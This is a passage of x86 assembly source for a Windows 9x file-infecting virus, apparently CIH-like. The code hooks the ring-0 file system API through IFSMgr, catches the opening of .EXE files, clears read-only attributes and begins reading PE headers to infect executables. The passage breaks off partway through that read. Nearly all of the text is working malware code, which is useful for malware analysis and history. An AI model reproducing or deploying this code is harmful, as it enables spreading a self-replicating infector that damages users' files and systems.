push 0ffffffffh ;
push ecx ;
push ecx ;
push ecx ;
push 000000001h ;
push 000000002h ;
int 20h ; VMMCALL _PageAllocate
_PageAllocate = $ ;
dd 00010053h ; Use EAX, ECX, EDX, and flags
add esp, 08h*04h
xchg edi, eax ; EDI = SystemMemory Start Address
lea eax, [email protected][esi]
iretd ; Return to Ring3 Initial Program
; *************************************
; * Install My File System Api Hook *
; *************************************
InstallMyFileSystemApiHook:
lea eax, [email protected][edi]
push eax ;
int 20h ; VXDCALL IFSMgr_InstallFileSystemApiHook
IFSMgr_InstallFileSystemApiHook = $ ;
dd 00400067h ; Use EAX, ECX, EDX, and flags
mov dr0, eax ; Save OldFileSystemApiHook Address
pop eax ; EAX = FileSystemApiHook Address
; Save Old IFSMgr_InstallFileSystemApiHook Entry Point
mov ecx, [email protected][esi]
mov edx, [ecx]
mov [email protected][eax], edx
; Modify IFSMgr_InstallFileSystemApiHook Entry Point
lea eax, [email protected][eax]
mov [ecx], eax
cli
jmp ExitRing0Init
; *********************************************************
; * Code Size of Merge Virus Code Section *
; *********************************************************
CodeSizeOfMergeVirusCodeSection = offset $
; *********************************************************
; * IFSMgr_InstallFileSystemApiHook *
; *********************************************************
InstallFileSystemApiHook:
push ebx
call @4 ;
@4: ;
pop ebx ; mov ebx, offset FileSystemApiHook
add ebx, [email protected] ;
push ebx
int 20h ; VXDCALL IFSMgr_RemoveFileSystemApiHook
IFSMgr_RemoveFileSystemApiHook = $
dd 00400068h ; Use EAX, ECX, EDX, and flags
pop eax
; Call Original IFSMgr_InstallFileSystemApiHook
; to Link Client FileSystemApiHook
push dword ptr [esp+8]
call [email protected][ebx]
pop ecx
push eax
; Call Original IFSMgr_InstallFileSystemApiHook
; to Link My FileSystemApiHook
push ebx
call [email protected][ebx]
pop ecx
mov dr0, eax ; Adjust OldFileSystemApiHook Address
pop eax
pop ebx
ret
; *********************************************************
; * Static Data *
; *********************************************************
OldInstallFileSystemApiHook dd ?
; *********************************************************
; * IFSMgr_FileSystemHook *
; *********************************************************
; *************************************
; * IFSMgr_FileSystemHook Entry Point *
; *************************************
FileSystemApiHook:
@3 = FileSystemApiHook
pushad
call @5 ;
@5: ;
pop esi ; mov esi, offset VirusGameDataStartAddress
add esi, [email protected]
; *************************************
; * Is OnBusy !? *
; *************************************
test byte ptr ([email protected])[esi], 01h ; if ( OnBusy )
jnz pIFSFunc ; goto pIFSFunc
; *************************************
; * Is OpenFile !? *
; *************************************
; if ( NotOpenFile )
; goto prevhook
lea ebx, [esp+20h+04h+04h]
cmp dword ptr [ebx], 00000024h
jne prevhook
; *************************************
; * Enable OnBusy *
; *************************************
inc byte ptr ([email protected])[esi] ; Enable OnBusy
; *************************************
; * Get FilePath's DriveNumber, *
; * then Set the DriveName to *
; * FileNameBuffer. *
; *************************************
; * Ex. If DriveNumber is 03h, *
; * DriveName is 'C:'. *
; *************************************
; mov esi, offset FileNameBuffer
add esi, [email protected]
push esi
mov al, [ebx+04h]
cmp al, 0ffh
je CallUniToBCSPath
add al, 40h
mov ah, ':'
mov [esi], eax
inc esi
inc esi
; *************************************
; * UniToBCSPath *
; *************************************
; * This Service Converts *
; * a Canonicalized Unicode Pathname *
; * to a Normal Pathname in the *
; * Specified BCS Character Set. *
; *************************************
CallUniToBCSPath:
push 00000000h
push FileNameBufferSize
mov ebx, [ebx+10h]
mov eax, [ebx+0ch]
add eax, 04h
push eax
push esi
int 20h ; VXDCall UniToBCSPath
UniToBCSPath = $
dd 00400041h
add esp, 04h*04h
; *************************************
; * Is FileName '.EXE' !? *
; *************************************
; cmp [esi+eax-04h], '.EXE'
cmp [esi+eax-04h], 'EXE.'
pop esi
jne DisableOnBusy
IF DEBUG
; *************************************
; * Only for Debug *
; *************************************
; cmp [esi+eax-06h], 'FUCK'
cmp [esi+eax-06h], 'KCUF'
jne DisableOnBusy
ENDIF
; *************************************
; * Is Open Existing File !? *
; *************************************
; if ( NotOpenExistingFile )
; goto DisableOnBusy
cmp word ptr [ebx+18h], 01h
jne DisableOnBusy
; *************************************
; * Get Attributes of the File *
; *************************************
mov ax, 4300h
int 20h ; VXDCall IFSMgr_Ring0_FileIO
IFSMgr_Ring0_FileIO = $
dd 00400032h
jc DisableOnBusy
push ecx
; *************************************
; * Get IFSMgr_Ring0_FileIO Address *
; *************************************
mov edi, dword ptr ([email protected])[esi]
mov edi, [edi]
; *************************************
; * Is Read-Only File !? *
; *************************************
test cl, 01h
jz OpenFile
; *************************************
; * Modify Read-Only File to Write *
; *************************************
mov ax, 4301h
xor ecx, ecx
call edi ; VXDCall IFSMgr_Ring0_FileIO
; *************************************
; * Open File *
; *************************************
OpenFile:
xor eax, eax
mov ah, 0d5h
xor ecx, ecx
xor edx, edx
inc edx
mov ebx, edx
inc ebx
call edi ; VXDCall IFSMgr_Ring0_FileIO
xchg ebx, eax ; mov ebx, FileHandle
; *************************************
; * Need to Restore *
; * Attributes of the File !? *
; *************************************
pop ecx
pushf
test cl, 01h
jz IsOpenFileOK
; *************************************
; * Restore Attributes of the File *
; *************************************
mov ax, 4301h
call edi ; VXDCall IFSMgr_Ring0_FileIO
; *************************************
; * Is Open File OK !? *
; *************************************
IsOpenFileOK:
popf
jc DisableOnBusy
; *************************************
; * Open File Already Succeed. ^__^ *
; *************************************
push esi ; Push FileNameBuffer Address to Stack
pushf ; Now CF = 0, Push Flag to Stack
add esi, [email protected] ; mov esi, offset DataBuffer
; ***************************
; * Get OffsetToNewHeader *
; ***************************
xor eax, eax
mov ah, 0d6h
; For Doing Minimal VirusCode's Length,
; I Save EAX to EBP.
mov ebp, eax
push 00000004h
pop ecx
push 0000003ch
pop edx
call edi ; VXDCall IFSMgr_Ring0_FileIO
mov edx, [esi]
; ***************************
; * Get 'PE
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